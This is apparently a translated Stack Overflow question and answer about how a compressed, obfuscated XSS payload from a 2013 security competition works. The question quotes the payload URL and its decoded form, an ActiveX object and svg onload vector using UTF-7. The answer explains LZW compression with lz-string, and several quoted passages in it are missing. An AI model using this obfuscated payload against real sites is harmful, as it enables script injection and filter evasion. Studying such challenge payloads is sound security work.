我正在检查涉及XSS(link)的安全竞赛的结果,发现了一些奇妙而令人恐惧的JS XSS payloas。获胜者(@kinugawamasato)使用的JavaScript压缩技术对我来说似乎完全是世俗的:

压缩有效载荷:

https://cure53.de/xmas2013/?xss=<scriPt>document.write(unescape(escape(location)
.replace(/u(..)/g,'$1%')))<\/scriPt>㱯扪散琠楤㵥⁣污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭
䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾㱳癧湬潡搽攮摡瑡畲氽慬汛攮
牯睤敬業㴳㍝⬧㽳慮瑡㵀Ⅱ汬潷彤潭慩湳㴧⭤潭慩渻攮捨慲獥琽❵瑦ⴷ✾

到底发生了什么:
<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=33]+'?santa=@!allow_domains='+domain;e.charset='utf-7'>

该技术是否已经在某处得到记录,以便我可以研究?这个东西到底有多正常?是否已经有一些JavaScript压缩程序可以自动执行此操作? WAF对这样的有效负载有何反应?

您可以看到更多示例here

最佳答案

每当将任何数据放入localStorage时,我都在使用lz-string库进行JS压缩。我只是该库的用户,而不是压缩专家。但这是可以在该工具周围找到的信息...

lz-string目标:



因此,这种实现的基础是LZW,在这里Javascript client-data compression提到了Andy E。让我指出

  • 指向Wikipedia article on LZW的链接
  • LZW compression example

  • Wikipedia - Algorithm的摘录:



    Wikipedia - Encoding:



    在lz字符串的情况下如何工作,我们可以在这里观察:
  • 源代码:lz-string-1.3.3.js

  • 让我从已经提到的lz-string source引用几个步骤:



    好了,现在我们知道,通过这些压缩技术,我们可以获得16位信息。我们可以在此演示中对其进行测试:http://pieroxy.net/blog/pages/lz-string/demo.html(或/和另一个here)

    Hello, world.转换为
    85 04 36 30 f6 60 40 03 0e 04 01 e9 80 39 03 26
    00 a2
    

    因此,我们需要最后一步,让我再次引用:



    继续我们的示例,Hello, world.将被转换为
    ҅〶惶̀Ў㦀☃ꈀ
    

    到此为止。我们可以看到,所有...其他字符(然后是拉丁字符)的集合来自最终转换为UTF-16的过程。希望这会给一些提示...

    关于javascript - 这个javascript压缩技术如何运作?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/23120115/

    10-11 12:23